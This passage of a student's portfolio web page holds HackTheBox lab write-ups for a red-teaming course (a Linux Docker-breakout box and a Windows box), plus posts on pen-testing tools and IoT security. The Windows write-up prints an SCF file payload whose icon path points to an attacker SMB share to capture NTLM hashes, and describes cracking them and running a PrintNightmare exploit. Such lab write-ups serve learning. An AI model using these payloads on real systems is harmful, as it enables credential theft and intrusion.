f:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> 